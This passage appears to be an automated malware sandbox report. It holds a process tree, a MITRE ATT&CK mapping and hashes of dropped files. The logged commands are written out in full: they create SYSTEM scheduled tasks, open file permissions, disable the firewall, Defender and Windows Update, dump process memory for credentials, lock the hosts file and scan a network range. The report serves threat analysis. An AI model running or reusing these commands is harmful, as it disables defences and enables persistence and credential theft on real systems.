  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "qsyirlhey" /ru system /tr "cmd /c C:\Windows\ime\bytszzu.exe"
  2⤵
  PID:1864
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4648
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "qsyirlhey" /ru system /tr "cmd /c C:\Windows\ime\bytszzu.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:1368
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "nabgiiueh" /ru system /tr "cmd /c echo Y|cacls C:\Windows\nsyinawm\bytszzu.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1224
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2364
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "nabgiiueh" /ru system /tr "cmd /c echo Y|cacls C:\Windows\nsyinawm\bytszzu.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:1392
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "bmefekubb" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\swsbcbmeu\bssyne.exe /p everyone:F"
  2⤵
  PID:1052
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:860
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "bmefekubb" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\swsbcbmeu\bssyne.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4920
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4628
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2156
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:376
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4564
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3860
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2204
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3084
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3528
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1724
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4252
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3992
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1088
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2912
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3580
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:3908
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  PID:3624
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:2116
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  PID:4508
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:1916
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4916
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3236
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:4908
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1924
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    PID:4836
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      System Location Discovery: System Language Discovery
      PID:3380
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  PID:404
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    - System Location Discovery: System Language Discovery
    PID:764
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      PID:728
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  PID:456
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4708
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4644
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2160
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4460
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4828
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3284
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:1804
- C:\Windows\TEMP\xohudmc.exe
  C:\Windows\TEMP\xohudmc.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:1264
- C:\Windows\TEMP\vuqibqfqb\eybsetuye.exe
  C:\Windows\TEMP\vuqibqfqb\eybsetuye.exe -accepteula -mp 772 C:\Windows\TEMP\vuqibqfqb\772.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4344
- C:\Windows\TEMP\vuqibqfqb\eybsetuye.exe
  C:\Windows\TEMP\vuqibqfqb\eybsetuye.exe -accepteula -mp 332 C:\Windows\TEMP\vuqibqfqb\332.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2700
- C:\Windows\TEMP\vuqibqfqb\eybsetuye.exe
  C:\Windows\TEMP\vuqibqfqb\eybsetuye.exe -accepteula -mp 1716 C:\Windows\TEMP\vuqibqfqb\1716.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:5088
- C:\Windows\TEMP\vuqibqfqb\eybsetuye.exe
  C:\Windows\TEMP\vuqibqfqb\eybsetuye.exe -accepteula -mp 2500 C:\Windows\TEMP\vuqibqfqb\2500.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2764
- C:\Windows\TEMP\vuqibqfqb\eybsetuye.exe
  C:\Windows\TEMP\vuqibqfqb\eybsetuye.exe -accepteula -mp 2992 C:\Windows\TEMP\vuqibqfqb\2992.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4376
- C:\Windows\TEMP\vuqibqfqb\eybsetuye.exe
  C:\Windows\TEMP\vuqibqfqb\eybsetuye.exe -accepteula -mp 3040 C:\Windows\TEMP\vuqibqfqb\3040.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4300
- C:\Windows\TEMP\vuqibqfqb\eybsetuye.exe
  C:\Windows\TEMP\vuqibqfqb\eybsetuye.exe -accepteula -mp 2492 C:\Windows\TEMP\vuqibqfqb\2492.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2116
- C:\Windows\TEMP\vuqibqfqb\eybsetuye.exe
  C:\Windows\TEMP\vuqibqfqb\eybsetuye.exe -accepteula -mp 3736 C:\Windows\TEMP\vuqibqfqb\3736.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3412
- C:\Windows\TEMP\vuqibqfqb\eybsetuye.exe
  C:\Windows\TEMP\vuqibqfqb\eybsetuye.exe -accepteula -mp 3824 C:\Windows\TEMP\vuqibqfqb\3824.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4116
- C:\Windows\TEMP\vuqibqfqb\eybsetuye.exe
  C:\Windows\TEMP\vuqibqfqb\eybsetuye.exe -accepteula -mp 3888 C:\Windows\TEMP\vuqibqfqb\3888.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:212
- C:\Windows\TEMP\vuqibqfqb\eybsetuye.exe
  C:\Windows\TEMP\vuqibqfqb\eybsetuye.exe -accepteula -mp 3972 C:\Windows\TEMP\vuqibqfqb\3972.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2644
- C:\Windows\TEMP\vuqibqfqb\eybsetuye.exe
  C:\Windows\TEMP\vuqibqfqb\eybsetuye.exe -accepteula -mp 1336 C:\Windows\TEMP\vuqibqfqb\1336.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3248
- C:\Windows\TEMP\vuqibqfqb\eybsetuye.exe
  C:\Windows\TEMP\vuqibqfqb\eybsetuye.exe -accepteula -mp 4164 C:\Windows\TEMP\vuqibqfqb\4164.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4400
- C:\Windows\TEMP\vuqibqfqb\eybsetuye.exe
  C:\Windows\TEMP\vuqibqfqb\eybsetuye.exe -accepteula -mp 4632 C:\Windows\TEMP\vuqibqfqb\4632.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3584
- C:\Windows\TEMP\vuqibqfqb\eybsetuye.exe
  C:\Windows\TEMP\vuqibqfqb\eybsetuye.exe -accepteula -mp 3464 C:\Windows\TEMP\vuqibqfqb\3464.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1856
- C:\Windows\TEMP\vuqibqfqb\eybsetuye.exe
  C:\Windows\TEMP\vuqibqfqb\eybsetuye.exe -accepteula -mp 2908 C:\Windows\TEMP\vuqibqfqb\2908.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2176
- C:\Windows\TEMP\vuqibqfqb\eybsetuye.exe
  C:\Windows\TEMP\vuqibqfqb\eybsetuye.exe -accepteula -mp 3652 C:\Windows\TEMP\vuqibqfqb\3652.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:220
- C:\Windows\TEMP\vuqibqfqb\eybsetuye.exe
  C:\Windows\TEMP\vuqibqfqb\eybsetuye.exe -accepteula -mp 1516 C:\Windows\TEMP\vuqibqfqb\1516.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1616
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\vuqibqfqb\ieymcmqub\scan.bat
  2⤵
  PID:3132
- - C:\Windows\vuqibqfqb\ieymcmqub\lmsemquci.exe
    lmsemquci.exe TCP 181.215.0.1 181.215.255.255 7001 512 /save
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:4796
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2828
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4988
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2804
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2344
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    PID:452
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3448
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    PID:5148

C:\Windows\SysWOW64\dipzew.exe
C:\Windows\SysWOW64\dipzew.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:3292

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\bytszzu.exe
1⤵
PID:632
- C:\Windows\ime\bytszzu.exe
  C:\Windows\ime\bytszzu.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:376

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\nsyinawm\bytszzu.exe /p everyone:F
1⤵
PID:2528
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:1772
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\nsyinawm\bytszzu.exe /p everyone:F
  2⤵
  PID:3872

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\swsbcbmeu\bssyne.exe /p everyone:F
1⤵
PID:452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:1648
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\swsbcbmeu\bssyne.exe /p everyone:F
  2⤵
  PID:2956

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\bytszzu.exe
1⤵
PID:3372
- C:\Windows\ime\bytszzu.exe
  C:\Windows\ime\bytszzu.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:5408

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\swsbcbmeu\bssyne.exe /p everyone:F
1⤵
PID:4464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:1984
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\swsbcbmeu\bssyne.exe /p everyone:F
  2⤵
  PID:4252

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\nsyinawm\bytszzu.exe /p everyone:F
1⤵
PID:4148
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:5068
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\nsyinawm\bytszzu.exe /p everyone:F
  2⤵
  PID:5828

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\SysWOW64\Packet.dll

Filesize
95KB

MD5
86316be34481c1ed5b792169312673fd

SHA1
6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

SHA256
49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

SHA512
3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
275KB

MD5
4633b298d57014627831ccac89a2c50b

SHA1
e5f449766722c5c25fa02b065d22a854b6a32a5b

SHA256
b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

SHA512
29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

Download Submit
C:\Windows\TEMP\swsbcbmeu\config.json

Filesize
693B

MD5
f2d396833af4aea7b9afde89593ca56e

SHA1
08d8f699040d3ca94e9d46fc400e3feb4a18b96b

SHA256
d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

SHA512
2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

Download Submit
C:\Windows\TEMP\vuqibqfqb\1336.dmp

Filesize
25.9MB

MD5
186504fed0b60a66180de04a60cd1000

SHA1
ffa4b441f5ff16dda6af3dcc77acdb101e73ceb6

SHA256
ae73f4690c909353d489b905216fde9dadfb7fe3e4c1a94a4286029606bc3209

SHA512
eae46f8707388af6baa91e27907e2016d9a8c7b03a2673d63e346275b320c7182c034be732d0ce1e08b471627740f78958664eee709a93b8b4c9a989868c4a35

Download Submit
C:\Windows\TEMP\vuqibqfqb\1716.dmp

Filesize
4.1MB

MD5
e1f3172092ee6f7e8e5f00cdc3768245

SHA1
ad5abedc4436ee16986dee35b92253795df4cd1a

SHA256
8993e55f592dbdd2dd1df02457d81efb1b4b56b553909b2aacb37c296599dea0

SHA512
78f54b05c5a4cacdc9b30d6949c42353327fb8ff8d5058300cf7c01219413e1f20e7cd53d750fb5eff629c7d9321594fb17b381459e583b8e28c9c9e2e16dd7f

Download Submit
C:\Windows\TEMP\vuqibqfqb\2492.dmp

Filesize
2.9MB

MD5
1be75f6d1c82b5753f4c8edaab745df4

SHA1
750aa9cf0170a384f9a4e37db5db3a52518691eb

SHA256
6a06088c5ac4b8b8e0c129df1daf9a8224bfd9b8cb82349cdb2f8d766964c8d3

SHA512
4e730ee20673a142b66ec15ae68b915c04371f7444e0a7f99752568a7f4f6d3033405525dcd71ca425c7ebb61d421f5dc6684a48e5c7e104c086b4a775db624b

Download Submit
C:\Windows\TEMP\vuqibqfqb\2500.dmp

Filesize
7.4MB

MD5
a61731eeb8b381a81d4682585f3e4685

SHA1
5cc1bed0a7836af329f428654e635429f3f97273

SHA256
d322db2f235d20593c18a72bb48538191cf0cc69c09a06341a4888e7d3ee63a5

SHA512
e349c301e4e8ef486bb4558b2884681e794658f7ec3043c477cb7f0f0efd3a4eb35bdb3cdea176451e0d71f88db1d9dfabbbb795f3e158f3a61b105776b10e32

Download Submit
C:\Windows\TEMP\vuqibqfqb\2992.dmp

Filesize
814KB

MD5
4a50fbfb9d5eaaf5f1ec61b267c9909e

SHA1
429b2f4c2980b4884c418c12c8b54a67e27c5177

SHA256
467379404e07d00262e1ef12a8ad7a8160dec29155e31e120988e0199d268a8d

SHA512
c5ba92c62f1d5ed48637773934634e77ada4ae79cff09f38e55d239c890cabe7c5df9c2495782b9e827e4c6d3196221841b0979a420f4aab33a8ac12c8dcd1ae

Download Submit
C:\Windows\TEMP\vuqibqfqb\3040.dmp

Filesize
3.7MB

MD5
6103e72f0d27059fde081bcdcc56e6ba

SHA1
5069845cf2364da0556d0947224a73d0c607c7a6

SHA256
30ffd3bcb7fd2421052b6194e7d1b132cd7893f22a11a8944855db811238cbf8

SHA512
76f07bd144cdab0aa656e6e233236914c540e7d5d8fc0e34ec4ababa46c3213f889a770276af3abc313e78c137578e4b742c18d1db64d0b16bd71d47cd5b6bd7

Download Submit
C:\Windows\TEMP\vuqibqfqb\332.dmp

Filesize
33.2MB

MD5
de53e74eacd3fcb47825a22e001d4d23

SHA1
15f69e16833a8359f76451ce9a6060e5a71da86a

SHA256
c62729953df5e0b232a83f040fa6c2908cd0bbe97e0bbf2c0d33ae25d090264e

SHA512
b9f50f00bbb0aa5538d36dca8e6369cc47477f4a26a5abca671e7a6bab03b40cbf96cfad9442ee13675718506812769fc739df2a4121064a88e3601b231a5379

Download Submit
C:\Windows\TEMP\vuqibqfqb\3736.dmp

Filesize
2.8MB

MD5
bec0aae90cf597bd998b4deeaf9c5fdb

SHA1
b57df9c8ad6593c90374205f4f50802b13b630aa

SHA256
cc5b52c715c7247e846be4c3a9e2cce40542c783bc88eab44c59fef11d569513

SHA512
870558f6d60a1f803baf3d6f9842a2b376bab2006a493aaee33ae371f73562540e30b4e77bc0534b703745d975588aa6dac6894c11f3bc99feecd5628196f2b7

Download Submit
C:\Windows\TEMP\vuqibqfqb\3824.dmp

Filesize
20.0MB

MD5
f98cb72bcf52f1041ba9640c9baa473a

SHA1
4958eadcfb1099ed9dc995e86244734ad1169b58

SHA256
1b4746c0f11c171ed61237ac0c7290283c98d04fbb6bdfb29d9d696001f622c1

SHA512
b1f29760eaa4559fd7b6a585fbdc3fc37b93a897a8386fd36505487b90b3bf4a149449171dd8654cc0a2965688c8873a595f9e6a7ff1edd70b1510bd919c2024

Download Submit
C:\Windows\TEMP\vuqibqfqb\3888.dmp

Filesize
4.2MB

MD5
01a37319634b23fe0f1b8cdb146105ff

SHA1
cd8be9eb49a959790a1f1be3242ec4a59992ceaf

SHA256
1cde7c9ee2555f7da672d83db6d14ec03eb88a536b8c8f31f2482ce1f3167827

SHA512
d0c4e632811a939ec4eeb98eccb8c7812b521787ab88de9a24a589e7f99d5ecbcdc71de5c0c0cc318515bb133e092851160ff18c9153dc4a167299771974152a

Download Submit
C:\Windows\TEMP\vuqibqfqb\3972.dmp

Filesize
43.9MB

MD5
69f71d46830f7eef0d8fde3ffb1f1585

SHA1
1a7e44499974ee36abd6a424f92e1ad2216d0449

SHA256
3d689114007dd854d390b5fa6eddc377682faac61fd17278f2337dc04aec0573

SHA512
47d6e081083300bea16980d658dc5456cdcb17f55ff6c8ecb337790c3ff3613cfaf1ecf9fbacb139cbb74c224a13c88f7b16d0d9cf1f7e00538410d086060b5e

Download Submit
C:\Windows\TEMP\vuqibqfqb\4164.dmp

Filesize
1.2MB

MD5
c285a5f02746c04091d72c0a78295b53

SHA1
45c52bc640901567b601c6df29a83f300febc5cb

SHA256
591e5a70f7cabf864a8d8ca28e0298fe891400264ee8c57612cecc19ae2479a4

SHA512
2cd6b2e8bae3e3b925d0fa3505d55c31c27de9fc3d4d086f53872dd9f2d014792cdf05e5c94c7d82ead9768d4f5b5dc4af8b7afc47c8877105e979643996e0d9

Download Submit
C:\Windows\TEMP\vuqibqfqb\4632.dmp

Filesize
8.8MB

MD5
cc1e1bf03335295ec170ff72c5b48bf9

SHA1
7914ee914bd48755a9a2284f1131658b0622cf2e

SHA256
107029f75383001eb584b35f382460cda97d7a3166f5f13a726619bd74eef4b0

SHA512
5b43938d1df0035edc74e7dceb82d1eb9a5ff852046ea94ed9b383099aa788a45b65422edfe69678cb67b40958c89a07570dbeea357409e02269f4541bb65e22

Download Submit
C:\Windows\TEMP\vuqibqfqb\772.dmp

Filesize
3.4MB

MD5
c13c5aa99dce1bfb17368f3f6cc52bcb

SHA1
d75e1410b15fa64991cfabc0bb982602aebb6140

SHA256
ea40bf8bfa91fcafe666efd283f6d42082c133dbd43d3679541c357c1671a109

SHA512
f58ed1f69be1d3a0d78b39e709b25b40878679b27895e4f4c89d4832892c88f0fb867a5e0eff0a499cf0aec933592de0fea8f3aa50edf29869e42882dc1f768f

Download Submit
C:\Windows\Temp\nsgAE82.tmp\System.dll

Filesize
11KB

MD5
2ae993a2ffec0c137eb51c8832691bcb

SHA1
98e0b37b7c14890f8a599f35678af5e9435906e1

SHA256
681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

SHA512
2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

Download Submit
C:\Windows\Temp\nsgAE82.tmp\nsExec.dll

Filesize
6KB

MD5
b648c78981c02c434d6a04d4422a6198

SHA1
74d99eed1eae76c7f43454c01cdb7030e5772fc2

SHA256
3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

SHA512
219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

Download Submit
C:\Windows\Temp\swsbcbmeu\bssyne.exe

Filesize
343KB

MD5
2b4ac7b362261cb3f6f9583751708064

SHA1
b93693b19ebc99da8a007fed1a45c01c5071fb7f

SHA256
a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

SHA512
c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

Download Submit
C:\Windows\Temp\vuqibqfqb\eybsetuye.exe

Filesize
126KB

MD5
e8d45731654929413d79b3818d6a5011

SHA1
23579d9ca707d9e00eb62fa501e0a8016db63c7e

SHA256
a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af

SHA512
df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6

Download Submit
C:\Windows\Temp\xohudmc.exe

Filesize
72KB

MD5
